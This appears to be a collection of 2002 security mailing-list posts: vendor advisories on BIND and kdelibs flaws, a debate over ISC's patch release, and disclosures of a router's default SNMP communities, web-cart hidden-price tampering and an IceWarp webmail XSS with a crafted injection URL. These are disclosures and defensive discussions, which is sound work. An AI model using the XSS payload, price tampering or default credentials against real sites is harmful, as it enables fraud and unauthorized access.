if (cp == NULL)
{
=== eof ===
P.S: Sorry, for my poor english.
--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.
MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com
INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net
GPG public key: http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y
--
--
Get your free email from http://www.hackermail.com
Powered by Outblaze
FreeBSD Security Advisory FreeBSD-SA-02:43.bind
-BEGIN PGP SIGNED MESSAGE-
=
FreeBSD-SA-02:43.bind Security Advisory
The FreeBSD Project
Topic: multiple vulnerabilities in BIND
Category: core
Module: bind
Announced: 2002-11-14
Credits:ISS X-Force <[EMAIL PROTECTED]>
Affects:All released versions of FreeBSD
Corrected: 2002-11-14 05:15:15 UTC (RELENG_4)
2002-11-14 02:05:57 UTC (RELENG_4_7)
2002-11-14 03:18:41 UTC (RELENG_4_6)
2002-11-14 04:05:12 UTC (RELENG_4_5)
2002-11-14 05:11:57 UTC (RELENG_4_4)
FreeBSD only: NO
I. Background
BIND 8 is an implementation of the Domain Name System (DNS) protocols.
II. Problem Description
ISS X-Force has disclosed several vulnerabilities affecting BIND 8.
The names which ISS has given each vulnerability are used in this
advisory. The first is a buffer overflow in the BIND 8 code
responsible for creating DNS responses which include SIG resource
records (RRs) from its internal cache (`BIND SIG Cached RR Overflow
Vulnerability'). The second is an error in the BIND 8 code which
constructs a response to an EDNS query (i.e. a query containing OPT
RRs) with a large packet size. A miscalculation triggers an assertion
failure (`BIND OPT DoS'). The third is a problem in the verification
of SIG RR expiry times, which can result in a null pointer dereference
(`BIND SIG Expiry Time DoS').
III. Impact
BIND SIG Cached RR Overflow Vulnerability: A remote attacker may be
able to cause a name server with recursion enabled to execute
arbitrary code with the privileges of the name server process.
BIND OPT DoS and BIND SIG Expiry Time DoS: A remote attacker may be
able to cause the name server process to crash.
IV. Workaround
BIND 9 is not affected by these vulnerabilities. For those who have
the option, upgrading to BIND 9 is recommended. BIND 9 is available
in the FreeBSD Ports Collection (ports/net/bind9). The bind9 port
includes migration notes in /usr/local/share/doc/bind9/misc/migration.
Name servers with recursion disabled are not vulnerable to the `BIND
SIG Cached RR Overflow Vulnerability' nor to the `BIND SIG Expiry Time
DoS'. To disable recursion, edit the BIND 8 configuration file
(default path /etc/namedb/named.conf) to add `recursion no;' and
`fetch-glue no;' to the options statement. e.g.,
options {
recursion no;
fetch-glue no;
/* ... other options ... */
};
Restart the name server after editing the configuration file.
Restricting recursion to only your own organization's clients (by
means of the `allow-recursion' directive) limits, but does not
eliminate, the impact of these vulnerabilities by making them harder
to exploit. Restricting recursion in this fashion is generally
recommended. To restrict recursion, edit the BIND 8 configuration
file to include an `allow-recursion' statement and an address list
appropriate for your organization. e.g.,
options {
allow-recursion { 10.0.0.0/8; };
/* ... other options ... */
};
Running BIND 8 as a non-privileged user (rather than as the superuser)
may reduce the impact should the name server be compromised via the
`BIND SIG Cached RR Overflow Vulnerability'. Running as a
non-privileged user is generally recommended. Likewise, running BIND
8 in a chroot environment may reduce the impact and is generally
recommended.
V. Solution
Do one of the following:
1) Upgrade your vulnerable system to 4.7-STABLE; or to the RELENG_4_7,
RELENG_4_6, RELENG_4_5, or RELENG_4_4 security branch dated after the
correction date (4.7-RELEASE-p2, 4.6.2-RELEASE-p5, 4.5-RELEASE-p23,
4.4-RELEASE-p30).
2) To patch your present system:
The following patch has been verified to apply to FreeBSD 4.4, 4.5,
4.6, and 4.7 systems.
a) Download the relevant patch from the location below, and verify the
detached PGP signature using your PGP utility.
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:43/bind.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:43/bind.patch.asc
b) Execute the following commands as root:
# cd /usr/src
# patch < /path/to/patch
# cd /usr/src/usr.sbin/named
# make depend && make && make install
# cd /usr/src/libexec/named-xfer
# make depend && make && make install
After upgrading or patching your system, you must restart named.
Execute the following command as root:
# ndc restart
VI. Correction details
Path Revision
Branch
- -
src/contrib/bind/CHANGES
RELENG_41.1.1.7.2.8
RELENG_4_7 1.1.1.7.2.7.2.1
RELENG_4_6
GLSA: kdelibs
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - GENTOO LINUX SECURITY ANNOUNCEMENT 200211-004 - - PACKAGE : kdelibs SUMMARY : rlogin.protocol and telnet.protocol URL KIO Vulnerability resLISa / LISa Vulnerabilities DATE : DATUM EXPLOIT : local & remote - - from KDE advisory 2002-1 : The implementation of the rlogin protocol in all of the affected systems, and the implementation of the telnet protocol in affected KDE 2 systems, allows a carefully crafted URL in an HTML page, HTML email or other KIO-enabled application to execute arbitrary commands on the system using the victim's account on the vulnerable machine. The vulnerability potentially enables local or remote attackers to compromise a victim's account and execute arbitrary commands on the local system with the victim's privileges, such as erasing files, accessing data or installing trojans. Read the full advisory at http://www.kde.org/info/security/advisory-2002-1.txt from KDE advisory 2002-2 : The resLISa daemon contains a buffer overflow vulnerability which potentially enables any local user to obtain access to a raw socket if 'reslisa' is installed SUID root. This vulnerability was discovered by the iDEFENSE security team and Texonet. The lisa daemon contains a buffer overflow vulnerability which potentially enables any local user, as well any any remote attacker on the LAN who is able to gain control of the LISa port (7741 by default), to obtain root privileges. In addition, a remote attacker potentially may be able to gain access to a victim's account by using an "lan://" URL in an HTML page or via another KDE application. These vulnerabilities were discovered by Olaf Kirch at SuSE Linux AG. Read the full advisory at http://www.kde.org/info/security/advisory-2002-2.txt More information is available at http://www.idefense.com/advisory/11.11.02.txt SOLUTION It is recommended that all Gentoo Linux users who are running kde-base/kdelibs-3.0.4 and earlier update their systems as follows: emerge rsync emerge kdelibs emerge clean - - [EMAIL PROTECTED] - GnuPG key is available at www.gentoo.org/~aliz [EMAIL PROTECTED] - - -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE902/SfT7nyhUpoZMRAg8wAKCcPSEbh+xXPVn9CdVTTJLoaXWymwCfQGWq OP1MzPDSrSIHbJO6rn9Naig= =YJX0 -END PGP SIGNATURE-
Re: Bind 8 bug experience
bind 4 and 8 patches are now available which appeared late last night http://www.isc.org/products/BIND/patches/ -glen > > Three bugs in bind 4 and 8 were announced this morning, November 12. At > least one has the possibility of arbitrary code execution, and > the ISC web site lists it as 'Serious'. > > At 13:02 CST this afternoon per the ISC announcement, about an hour > after receiving the bug announcement, I requested bind 8 patches > from Lynda McGinley, Executive Director of ISC. I received a > response from her roughly 8 hours later this evening that I had been > added to the patch announce list. My thanks to Lynda for that, but she > did not give direct information on where to get the patches, and I have > received nothing from the patch announce list. I don't know when I can > expect to receive anything -- tonight, next week, or next month? > > Earlier today I asked Lynda a question: why were patches not made > available at the time of the announcement? Paraphrasing her > response, since I have not asked her permission to forward verbatim what > she wrote, she indicated that those in the bind forum that had > subscribed to the early security notification had the patches > readily available. She indicated that ISC wanted to make sure that the > right audience had the patches first. > > I clarified to her that my understanding is that the early > notification subscription was for the purpose of vendors being > notified before public announcement so they could get software > packages updated and available prior to announcement. Lynda > affirmed this. > > My response to her was that the right audience should change in > relation to announcement. > > Those that paid to be notified early had that expectation fulfilled. > Before announcement, per current ISC practice, they are the right > audience, and they got bind 4 and 8 patches. > > As of the moment of announcement, the right audience should be > expanded to include all those placed at risk because they use the > software. Failure to make the patches available suddenly puts many > systems at rapidly increasing risk. > > I have not yet heard a satisfactory answer why were patches not > publicly available when this announcement was made. More troubling, why > has ISC not released the patches yet? As of 23:44 CST, about 12 hours > after the first announcement, nothing beyond 8.3.3 is > available in the normal directories on ftp.isc.org, yet updates > clearly exist. > > Per the ISS announcement, to the best of their knowledge no crackers > knew of these bugs, nor were there exploits available. From the > moment of the announcement, that is no longer true. If these were truly > unknown bugs, there was time to do this right, to fix the bugs and get > the updates available. That time advantage is eroding very rapidly. > > I had held off upgrading to bind 9 because of its newness. Observing its > release history, in my assessment it has not been any better > than bind 8. There have been too many beta, release candidate and > security fixes to be considered stable. Meanwhile, ISC's policies left > me with no real choice. I've dropped everything else this > evening and have upgraded to bind 9. > > I don't know of a similar incident when the known patches to such a > serious problem were withheld by a software provider. This is > particularly true in the case of software of which its security and > stability are the most crucial to the operation of the Internet. > > This raises troubling questions about the future management of bind. > What will happen when the next bind 9 bug hits? > >-- Michael
Re: Bind 8 bug experience
On Wed, Nov 13, 2002 at 12:04:31PM -0800, Jeremy C. Reed wrote: > But I see the patches were made October 30 (if the dates are reliable). In fact I believe ISC have been sitting on this for almost a month. The CVE IDs were assigned October 16, and I have reason to believe that they learned of this no later than October 23. Members of BIND Forum were notified last week, from what I'm told. In my opinion, the main reason for ISC to use this method of distributing the patches rather than going through established channels (such as CERT) was to be able to convince software vendors and other bodies using/distributing BIND to become a member of BIND forum. I don't know if that worked out, but I have my doubts. >From my experience of the past two days, I believe they did not expect there to be such a demand for the patches. I know that most Linux distributors, as well as some BSD folks, tried to reach someone at ISC for 36 hours, without success (we were notified of the issue on Tuesday, approx 14 hours ahead of the publication of ISC's and ISS's announcements). Some of that may be blamed on technical issues (I found it curious that PGP-signed messages never got through, while unsigned messages did), but probably not all of it. The whole thing was a mess. Timelines for the publication of _anything_, from advisories to patches to updates, were either non-existing or shifting all the time. I don't have very fond memories of the OpenSSH update of a few months ago, but it is worth noting that the SSH folks gave everyone a chance to cover their bases first, and then went on to disclose details of the bug. We all have our little complaints about CERT now and then, and I also think that CERT could improve in this way or that. But incidents like this one also serve to remind that independent (and financially independently) bodies do make a very valuable contribution to the security community as a whole. Things could be so much worse... Olaf -- Olaf Kirch | Anyone who has had to work with X.509 has probably [EMAIL PROTECTED] | experienced what can best be described as ---+ ISO water torture. -- Peter Gutmann
Default SNMP community in Surecom Broadband Router
Arhont Ltd. - Information Security Arhont Advisory by: Andrei Mikhailovsky (www.arhont.com) Advisory: Surecom Broadband Router Router Model Name: EP-4501 Model Specific: Other models might be vulnerable Manufacturer site: http://www.surecom.com.tw Manufacturer contact: [EMAIL PROTECTED] Contact Date: 25/10/2002 DETAILS: While performing a general penetration testing of a network, we have found a security vulnerability in the Surecom Broadband Router EP-4501. The default router installation enables SNMP (Simple Network Management Protocol) server with default community names for read and read/write access. The community name: public Allows read access to the mentioned device, providing enumeration and gathering of sensitive network information. The community name: secret Allows read/write access to device, thus allowing restart and change of the network settings of the broadband router. The SNMP server is enabled by default from the LAN and WAN interfaces. Impact: This vulnerability allows LAN and internet malicious attackers to retrieve and change network settings of the router. Risk Factor: High Possible Solutions: Disable default SNMP implementation, or change default community names. According to the Arhont Ltd. policy, all of the found vulnerabilities and security issues will be reported to the manufacturer 7 days before releasing them to the public domains (such as CERT and BUGTRAQ). If you would like to get more information about this issue, please do not hesitate to contact Arhont team. Regards, Andrei Mikhailovsky Arhont Ltd. http://www.arhont.com GnuPG Keyserver: blackhole.pca.dfn.de GnuPG Key: 0x178F548C
RE: A technique to mitigate cookie-stealing XSS attacks
On Wed, 13 Nov 2002, Steven M. Christey wrote: > Being able to place arbitrary HTML into an intermediate web page is > dangerous for other reasons (this is sometimes called "HTML > injection," but I view it as another flavor of XSS). For example, > this would allow attackers to use META-REFRESH style attacks to > redirect victims away from the intended web site. ..or to redirect victims to a script on the intended web site that does something (i e, sending mails or posting Usenet messages under the victim's name). It's not just about stealing cookies. // Ulf Harnhammar VSU Security [EMAIL PROTECTED]
arp spoofing defence
Here is a patch http://securitylab.ru/_tools/antidote2.diff.gz for linux kernel (2.4.18 and .19 tested) to resisting ARP spoofing. If applied, it brings a new sysctl parameter: net.ipv4.neigh..arp_antidote that defines kernel behaviour when changes in correspondence between MAC and IP are detected. Parameter value 0 corresponds standart behaviour, ARP cache will be silently updated. Value=1..3 corresponds "verification" behaviour. Kernel will send ARP request to test if there is a host at "old" MAC address. If such response received it lets us know than one IP pretends to have several MAC addresses at one moment, that probably caused by ARP spoof attack. Value=1 - just report attack and ignore spoofing attempt. Value=2 - ARP cache record will be marked as "static" to prevent attacks in future. Value=3 - ARP cache record will be marked as "banned", no data will be delivered to attacked IP anymore, untill system administrator unban ARP record updating it manually. --- buggzy
[ESA-20021114-029] BIND buffer overflow, DoS attacks.
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ++ | EnGarde Secure Linux Security Advisory November 14, 2002 | | http://www.engardelinux.org/ ESA-20021114-029 | || | Packages: bind-chroot, bind-chroot-utils | | Summary: buffer overflow, DoS attacks.| ++ EnGarde Secure Linux is a secure distribution of Linux that features improved access control, host and network intrusion detection, Web based secure remote management, e-commerce, and integrated open source security tools. OVERVIEW - Several vulnerabilities were found in the BIND nameserver. The vulnerabilities, discovered by ISS, range from buffer overflows to denial of service (DoS) attacks. The summaries below are from the ISS advisory which may be found at: http://bvlive01.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21469 * CAN-2002-1219 -- BIND SIG Cached RR Overflow Vulnerability "A buffer overflow exists in BIND 4 and 8 that may lead to remote compromise of vulnerable DNS servers. An attacker who controls any authoritative DNS server may cause BIND to cache DNS information within its internal database, if recursion is enabled. Recursion is enabled by default unless explicitly disabled via command line options or in the BIND configuration file. Attackers must either create their own name server that is authoritative for any domain, or compromise any other authoritative server with the same criteria. Cached information is retrieved when requested by a DNS client. There is a flaw in the formation of DNS responses containing SIG resource records (RR) that can lead to buffer overflow and execution of arbitrary code." * CAN-2002-1220 -- BIND OPT DoS "Recursive BIND 8 servers can be caused to abruptly terminate due to an assertion failure. A client requesting a DNS lookup on a nonexistent sub- domain of a valid domain name may cause BIND 8 to terminate by attaching an OPT resource record with a large UDP payload size. This DoS may also be triggered for queries on domains whose authoritative DNS servers are unreachable." * CAN-2002-1221 -- BIND SIG Expiry Time DoS "Recursive BIND 8 servers can be caused to abruptly terminate due to a null pointer dereference. An attacker who controls any authoritative name server may cause vulnerable BIND 8 servers to attempt to cache SIG RR elements with invalid expiry times. These are removed from the BIND internal database, but later improperly referenced, leading to a DoS condition." All users should upgrade as soon as possible. SOLUTION - Users of the EnGarde Professional edition can use the Guardian Digital Secure Network to update their systems automatically. EnGarde Community users should upgrade to the most recent version as outlined in this advisory. Updates may be obtained from: ftp://ftp.engardelinux.org/pub/engarde/stable/updates/ http://ftp.engardelinux.org/pub/engarde/stable/updates/ Before upgrading the package, the machine must either: a) be booted into a "standard" kernel; or b) have LIDS disabled. To disable LIDS, execute the command: # /sbin/lidsadm -S -- -LIDS_GLOBAL To install the updated package, execute the command: # rpm -Uvh files You must now update the LIDS configuration by executing the command: # /usr/sbin/config_lids.pl To re-enable LIDS (if it was disabled), execute the command: # /sbin/lidsadm -S -- +LIDS_GLOBAL To verify the signatures of the updated packages, execute the command: # rpm -Kv files UPDATED PACKAGES - These updated packages are for EnGarde Secure Linux Community Edition. Source Packages: SRPMS/bind-chroot-8.2.6-1.0.29.src.rpm MD5 Sum: 3c845d09bcbe9b07e5395d75a8686689 Binary Packages: i386/bind-chroot-8.2.6-1.0.29.i386.rpm MD5 Sum: 0c1daf47be94ae0fd5a29e4007bf68c2 i386/bind-chroot-utils-8.2.6-1.0.29.i386.rpm MD5 Sum: 58e0e54d895b8dc3c6f6b5e9228912fb i686/bind-chroot-8.2.6-1.0.29.i686.rpm MD5 Sum: 84cb58f02d228859a2fbda3ed1b46dd5 i686/bind-chroot-utils-8.2.6-1.0.29.i686.rpm MD5 Sum: 20fb3e4a34cecb431511308afe027941 REFERENCES - -- Guardian Digital's public key: http://ftp.engardelinux.org/pub/engarde/ENGARDE-GPG-KEY BIND's Official Web Site: http://www.isc.org/products/BIND/ Security Contact: [EMAIL PROTECTED] EnGarde Advisories: http://www.engardelinux.org/advisories.html - -- $Id: ESA-20021114-029-bind-chroot,v 1.4 2002/11/14 10:02:51
Well known flaw in web cart software remains wide open
WhiteHat Security Advisory 1004 November 11, 2002 === Problem Description === Vulnerable web shopping cart software passes prices between web pages using hidden form fields. What this means is that every time a customer adds something to their shopping cart, the cart checks HTTP-POSTed data coming from the CUSTOMER computer to determine the price. The problem is that the user can alter this data before sending it to your web server, allowing the user to set the price of his or her choice. This hack is already widely known in the WhiteHat and BlackHat communities. I hope to spread awareness to those site owners who are trusting their stores to faulty software. === HOW THIS HACK WORKS === Visit some vulnerable site and look at a set of expensive "FooBars". Install an simple IE plugin that allows you to edit HTTP POST data before submission and then change the hidden form field containing the price of the FooBars from $575 to $10. Now, send the edited data and look at the confirmation page. == Impact == Malicious users may set their own prices at any site using vulnerable cart software. If prices are not hand-verified, vulnerable sites lose revenue. = Mitigating Factors / Vendor Snake Oil = 1> Some vendors think it is sufficent to change from HTTP GET requests to HTTP POSTs. Insufficent. Handcrafted-HTTP requests using PERL, C++, etc allow the user to fake a post. 2> Checking HTTP Referer (http://www.cart32.com/kbshow.asp?article=C051) Insufficent. HTTP Referer is a header sent FROM the client and thus should not be trusted. User can either fake header or use a trivial IE plugin which allows on-the-fly POST editing. Writing such a plugin took the author 5 hours. The widely available test proxy known as Achilles can also execute this attack. === Vendors Affected and Notification Dates === JustAddCommerce - Notified July 15 Cart32 - Notified July 8 Approximately 50% of the hand-coded carts tested- Notified at assorted dates/times Related note [1]: PayPal does not claim that its donations are secure, and thus I do not consider them vulnerable. Prices are passed in URL. https://www.paypal.com/cgi-bin/webscr?amount=9.99&return=http% 3A//www.thisistrue.com/thanks.html&item_name=Whatever Related note [2]: A number of vendors have protected their item price data, but not their shipping charge data. When submitting a shipping charge of -40, the user receives a $40 discount on their order. = Where to go from here = Find out if you are vulnerable. Review your code or your HTTP traffic to determine where the prices are coming from. If you find you are vulnerable: 1> Immediately begin verifying orders and prices. 2> Call your vendor and request a patch 3> Read the Web Security section of "Writing Secure Code" or similar to figure out how to fix this class of vulnerability. === How to prevent this problem === Cart software should NEVER trust ANY data coming from the client. This includes HTTP Headers. If the cart must rely on HTTP POSTed data, it should be delivered in a cryptographically secure manner.
IceWarp 3.4.5 XSS *AGAIN*
DarC KonQuesT IceWarp 3.4.5 XSS Release
Product: IceWarp Webmail 3.4.5
Vendor: IceWarp Software - E-mail: [EMAIL PROTECTED]
Web: www.icewarp.com
Problem: Cross Site Scripting
Severity: Mild
Operating System(s): Tested against Win2k
Discovered: October 29, 2002
Vendor Notified: October 29, 2002
Public Release: Now - November 11, 2002
Preface:
Okay, here's what happened...before my original release of the Icewarp
3.3.3 Cross-Site Scripting bug I contacted IceWarp about it. After a bit of
discussion, one of the developers established contact with me again and
stated that he would fix the problem. And I quote:
"Hi DarC
Thanks for the explanation. I'll fix it :)
Cheers"
The above from developer Jakub Klos. Unfortunately he either
misunderstood or just did not fix the problem. When the mail server I use
updated to IceWarp version 3.4.5 I noticed the bug still existed.
After contacting IceWarp with the bug (again) I was notified that it had
been sent to their developers (again) and later received the following reply
(again):
"Hi,
Problem solved..
Thanks" -this from Adam Paclt
Hmmseem familiar??
Anyway, I'm not going to go over the entire advisory again because it is
EXACTLY the same, no difference. So, I've attached the original advisory
below.
Cleaning up loose ends:
1) YES! I KNOW! This is very difficult to exploit, I knew/know/will
continue to know this. No need to contact me and let me know...because I
KNOW!
2) You, yeah you behind the anonymous remailer harping on me and my
handle...True, I hide behind a handle, but YOU hide behind an anonymous
remailer. ESAD you fucking hypocrite.
Later on, and have fun,
-DarC KonQuesT
Ringleader -(DiR)-
United States of America
Greets: Christina, HaXXuS 101, oO Bizurke Oo, st3v3.
-ORIGINAL ADVISORY
BELOW---
DarC KonQuesT XSS Release-
Product: IceWarp Webmail 3.3.3 (tested, others possibly vulnerable)
Vendor: IceWarp Software - E-mail: [EMAIL PROTECTED]
Web: www.icewarp.com
Problem: Cross Site Scripting
Severity: Mild-Moderate
Operating System(s): Tested against Win2k but all others if objects are
handled the same way.
Discovered: July 28, 2002
Vendor Notified: August 4, 2002
Public Release: Now - August 24
Background:
IceWarp Webmail is a nice webmail daemon that "is a full featured top
quality web mail solution which works with any mail server and lets you
access your email office remotely from any browser on the Internet or your
local network" (IceWarp.com). Web Mail runs on Windows XP/2000/NT/9X/ME,
supports SMTP/POP3/IMAP4/HTTP Internet protocols and has a spell checker,
remote web administration, any attachment support, private and shared
address books, groups, signatures, multiple mail server support and many
other powerful options (IceWarp.com). According to their site it was first
officially released on March 6, 2000.
Problem:
IceWarp has a nifty little feature where your address book appears as a
dropdown menu next to the message's "To:", "Cc:", and "Bcc:" fields which
allows sending a message to a contact in your address book very easy. When
IceWarp loads your address book into these dropdown menus it doesn't
sanitize the "Full Name" segment so malicous code (or any code, I don't
care) can be placed into this field and it will be executed whenever the
user loads the page to write a new message. However, since the dropdown menu
appears thrice (beside each field) the code will execute 3 times.
One problem with providing a link to automatically enter this data into the
address book is that IceWarp uses ID numbers to keep track of the logged in
user. If you do not know this number then IceWarp lists the user as not
logged in. Therefore it becomes more difficult to execute a XSS attack. This
number is randomly generated (I think), and changes everytime the user logs
in. This number can be seen in the URL or many places in the code of the
page.
Code from inbox:
http://:32000/mail/readmail.html?folder=inbox&get=1&id=e
68972360786c64b3aa14dc0f60b1aa6
You can see the ID number listed beside 'id='
Exploit (almost):
A URL can be crafted easily which will fill in the values on the 'Add
Address' page just by viewing the code. The one I used is as follows:
NOTE: I used some encoding for the spaces but none was necessary for the
page I tested on. However, encoding the entire URL would be a good way to
disguise the intentions of it.
http://:32000/mail/addressaction.html?id=&newaddress=1&addressname=alert('DarCNesS%20Overwhelms')&[EMAIL PROTECTED]
The problem with this is that it will go to the page (if you know the ID#),
and fill in the required fields. However it will not submit the form. I'll
leave this for someone else to figure out. An easier way would be if the
page used CGI or PHP where the form could be submitted solely through the
URL
Re: When scrubbing secrets in memory doesn't work
On Fri, Nov 08, 2002 at 05:23:34PM +0100, Michael Zimmermann wrote:
> Not to declare the intermediate storage for sensitive
> data as 'volatile' is a coding flaw. An esily overlooked
> one, yes, but nevertheless... Like forgetting to protect
> critical code with semaphores.
'volatile' isn't sufficient to be safe. In fact, there's no way to be
sure that some C code doesn't leave copies of sensitive data around,
because there's nothing in the C standard that forbids the compiler to
keep copies of data. 'volatile' only forbids certain usages of that
data (provided that the implementation defined aspects of 'volatile'
are defined in a sane way).
Typical examples of such copies are temporary data while evaluating
expressions, and copies of processor registers on the stack that are often
required by the ABI.
For example, take gcc-3.0.4 on Linux/ix86, optimizations turned off,
and the following code:
| #include
| extern void zero (volatile void *, size_t);
| void foo3 (volatile unsigned long *keyl,
| volatile unsigned long *keyr)
| {
| volatile unsigned long keyx;
| keyx = (*keyl + *keyr) * (*keyl - *keyr)
|- (*keyl ^ *keyr) * (~*keyl * ~*keyr);
| bar3 (&keyx);
| zero (&keyx, sizeof keyx);
| }
It's compiled to this assembly code (only a small snippet before the
call to bar3()):
| movl%ebx, %eax
| movl%eax, -8(%ebp)
| subl$12, %esp
| leal-8(%ebp), %eax
| pushl %eax
| callbar3
The value of keyx is in register %ebx. If bar3() uses %ebx internally
(which it probably does if it is non-trivial), the first thing after
setting up the stack frame will be saving the old value of %ebx
(i.e. keyx) on the stack.
--
Jan fortune: can't load library '/libc.so.4'
No such library.
